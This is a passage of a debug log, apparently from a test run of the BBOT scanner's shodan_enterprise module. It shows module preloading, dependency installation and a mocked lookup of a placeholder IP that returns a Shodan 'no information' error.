from cache +2026-02-27 21:27:06,450 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache +2026-02-27 21:27:06,456 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache +2026-02-27 21:27:06,457 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache +2026-02-27 21:27:06,458 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache +2026-02-27 21:27:06,459 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache +2026-02-27 21:27:06,460 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache +2026-02-27 21:27:06,461 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache +2026-02-27 21:27:06,462 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache +2026-02-27 21:27:06,464 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache +2026-02-27 21:27:06,465 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache +2026-02-27 21:27:06,466 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache +2026-02-27 21:27:06,467 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache +2026-02-27 21:27:06,468 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache +2026-02-27 21:27:06,469 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache +2026-02-27 21:27:06,471 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache +2026-02-27 21:27:06,471 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache +2026-02-27 21:27:06,472 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache +2026-02-27 21:27:06,473 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache +2026-02-27 21:27:06,474 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache +2026-02-27 21:27:06,475 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache +2026-02-27 21:27:06,476 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache +2026-02-27 21:27:06,477 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache +2026-02-27 21:27:06,478 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache +2026-02-27 21:27:06,479 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache +2026-02-27 21:27:06,480 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache +2026-02-27 21:27:06,481 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache +2026-02-27 21:27:06,482 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache +2026-02-27 21:27:06,489 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache +2026-02-27 21:27:06,490 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache +2026-02-27 21:27:06,491 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache +2026-02-27 21:27:06,493 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache +2026-02-27 21:27:06,494 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache +2026-02-27 21:27:06,495 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache +2026-02-27 21:27:06,496 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache +2026-02-27 21:27:06,497 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache +2026-02-27 21:27:06,498 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache +2026-02-27 21:27:06,499 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache +2026-02-27 21:27:06,501 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache +2026-02-27 21:27:06,502 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache +2026-02-27 21:27:06,503 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache +2026-02-27 21:27:06,504 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache +2026-02-27 21:27:06,505 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache +2026-02-27 21:27:06,506 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache +2026-02-27 21:27:06,507 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache +2026-02-27 21:27:06,507 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache +2026-02-27 21:27:06,508 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache +2026-02-27 21:27:06,509 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache +2026-02-27 21:27:06,510 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache +2026-02-27 21:27:06,511 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-02-27 21:27:06,512 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-02-27 21:27:06,512 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-02-27 21:27:06,514 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-02-27 21:27:06,515 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-02-27 21:27:06,516 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-02-27 21:27:06,565 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-02-27 21:27:06,567 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-02-27 21:27:06,568 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-02-27 21:27:06,569 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-02-27 21:27:06,570 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-02-27 21:27:06,577 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-02-27 21:27:06,578 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-02-27 21:27:06,582 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-02-27 21:27:06,584 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-02-27 21:27:06,585 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-02-27 21:27:06,586 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-02-27 21:27:06,587 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-02-27 21:27:06,588 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-02-27 21:27:06,589 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-02-27 21:27:06,590 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-02-27 21:27:06,591 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-02-27 21:27:06,592 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-02-27 21:27:06,593 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-02-27 21:27:06,594 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-02-27 21:27:06,595 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-02-27 21:27:06,596 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-02-27 21:27:06,597 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-02-27 21:27:06,598 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-02-27 21:27:06,599 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-02-27 21:27:06,600 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-02-27 21:27:06,601 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-02-27 21:27:06,603 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-02-27 21:27:06,604 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-02-27 21:27:06,605 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-02-27 21:27:06,606 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-02-27 21:27:06,607 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-02-27 21:27:06,608 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-02-27 21:27:06,609 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-02-27 21:27:06,610 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-02-27 21:27:06,611 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-02-27 21:27:06,612 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-02-27 21:27:06,613 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-02-27 21:27:06,614 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-02-27 21:27:06,615 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-02-27 21:27:06,616 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-02-27 21:27:06,618 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-02-27 21:27:06,618 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-02-27 21:27:06,619 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-02-27 21:27:06,620 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-02-27 21:27:06,621 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-02-27 21:27:06,622 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-02-27 21:27:06,623 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-02-27 21:27:06,624 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-02-27 21:27:06,625 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-02-27 21:27:06,626 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-02-27 21:27:06,627 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-02-27 21:27:06,800 [DEBUG] filelock _api.py:331 Attempting to acquire lock 4628822672 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:27:06,801 [DEBUG] filelock _api.py:334 Lock 4628822672 acquired on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:27:06,802 [DEBUG] filelock _api.py:364 Attempting to release lock 4628822672 on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:27:06,802 [DEBUG] filelock _api.py:367 Lock 4628822672 released on /Users/andriikerekhovetskyi/.cache/python-tldextract/3.10.13.final__bbot-hEZ38Iko-py3.10__991bc2__tldextract-5.3.0/publicsuffix.org-tlds/de84b5ca2167d4c83e38fb162f2e8738.tldextract.json.lock +2026-02-27 21:27:07,729 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:27:07,729 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector +2026-02-27 21:27:07,730 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-02-27 21:27:07,868 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-02-27 21:27:08,437 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-02-27 21:27:08,438 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-02-27 21:27:08,438 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-02-27 21:27:08,438 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-02-27 21:27:08,648 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-02-27 21:27:08,649 [DEBUG] bbot base.py:103 Mocking DNS +2026-02-27 21:27:08,760 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-02-27 21:27:08,760 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-02-27 21:27:08,814 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) +2026-02-27 21:27:08,817 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-02-27 21:27:08,817 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general +2026-02-27 21:27:09,254 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-02-27 21:27:09,255 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-02-27 21:27:12,332 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful +2026-02-27 21:27:12,333 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-02-27 21:27:12,334 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-02-27 21:27:14,340 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-02-27 21:27:14,340 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-02-27 21:27:14,345 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:27:14,345 [HUGEINFO] bbot.core.helpers.depsinstaller installer.py:193 Installing module dependencies. Please be patient, this may take a while. +2026-02-27 21:27:14,346 [VERBOSE] bbot.core.helpers.depsinstaller installer.py:195 Installing dependencies for module "shodan_enterprise" +2026-02-27 21:27:14,346 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-02-27 21:27:14,350 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/venqykhg1qmh3r8tq951 +2026-02-27 21:27:15,164 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) +2026-02-27 21:27:15,165 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-02-27 21:27:15,165 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:27:15,166 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-02-27 21:27:15,166 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:27:15,167 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-02-27 21:27:15,167 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-02-27 21:27:15,168 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-02-27 21:27:15,169 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise +2026-02-27 21:27:15,293 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" +2026-02-27 21:27:15,293 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-02-27 21:27:15,293 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive +2026-02-27 21:27:15,295 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" +2026-02-27 21:27:15,295 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" +2026-02-27 21:27:15,296 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-02-27 21:27:15,296 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python +2026-02-27 21:27:15,297 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" +2026-02-27 21:27:15,298 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-02-27 21:27:15,298 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules +2026-02-27 21:27:15,299 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-02-27 21:27:15,299 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-02-27 21:27:15,300 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-02-27 21:27:15,300 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-02-27 21:27:15,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-02-27 21:27:15,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-02-27 21:27:15,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-02-27 21:27:15,301 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-02-27 21:27:15,301 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-02-27 21:27:15,301 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-02-27 21:27:15,302 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-02-27 21:27:15,302 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-02-27 21:27:15,302 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-02-27 21:27:15,302 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-02-27 21:27:15,303 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-02-27 21:27:15,303 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-02-27 21:27:15,303 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-02-27 21:27:15,303 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-02-27 21:27:15,303 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-02-27 21:27:15,303 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-02-27 21:27:15,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-02-27 21:27:15,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-02-27 21:27:15,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-02-27 21:27:15,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-02-27 21:27:15,304 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-02-27 21:27:15,305 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-02-27 21:27:15,305 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-02-27 21:27:15,305 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-02-27 21:27:15,305 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-02-27 21:27:15,306 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-02-27 21:27:15,306 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-02-27 21:27:15,306 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-02-27 21:27:15,307 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. +2026-02-27 21:27:15,307 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-02-27 21:27:15,310 [DEBUG] bbot base.py:111 Starting scan +2026-02-27 21:27:15,462 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_ww2fvo6n1e +2026-02-27 21:27:15,463 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops +2026-02-27 21:27:15,592 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started +2026-02-27 21:27:15,593 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-02-27 21:27:15,593 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-02-27 21:27:15,595 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) +2026-02-27 21:27:15,694 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) passed post-check +2026-02-27 21:27:15,695 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) +2026-02-27 21:27:15,696 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'distance-1', 'ipv4', 'target'}) in-scope because its main host matches the scan target +2026-02-27 21:27:15,696 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 21:27:15,697 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:27:15,698 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:27:15,699 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 21:27:15,699 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 21:27:15,700 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:27:15,701 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-02-27 21:27:15,702 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:27:15,703 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-02-27 21:27:15,704 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:27:15,705 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-02-27 21:27:15,706 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-02-27 21:27:15,709 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 21:27:15,710 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 21:27:15,710 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 21:27:15,711 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 21:27:15,711 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-02-27 21:27:15,711 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) because precheck succeeded +2026-02-27 21:27:15,712 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) from TARGET +2026-02-27 21:27:15,712 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) passed post-check +2026-02-27 21:27:15,712 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 21:27:15,715 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 +2026-02-27 21:27:15,811 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/1.2.3.4?key=deadbeef HTTP/1.1" 404 None +2026-02-27 21:27:15,811 [ERROR] bbot.modules.shodan_enterprise base.py:1707 Shodan API error: No information available for that IP. +2026-02-27 21:27:15,814 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("1.2.3.4", module=TARGET, tags={'in-scope', 'ipv4', 'target'}) +2026-02-27 21:27:15,815 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:5afcfd8f3d4a4e6cf52ccea2dfe2bb0bcb065135', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-02-27 21:27:15,815 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 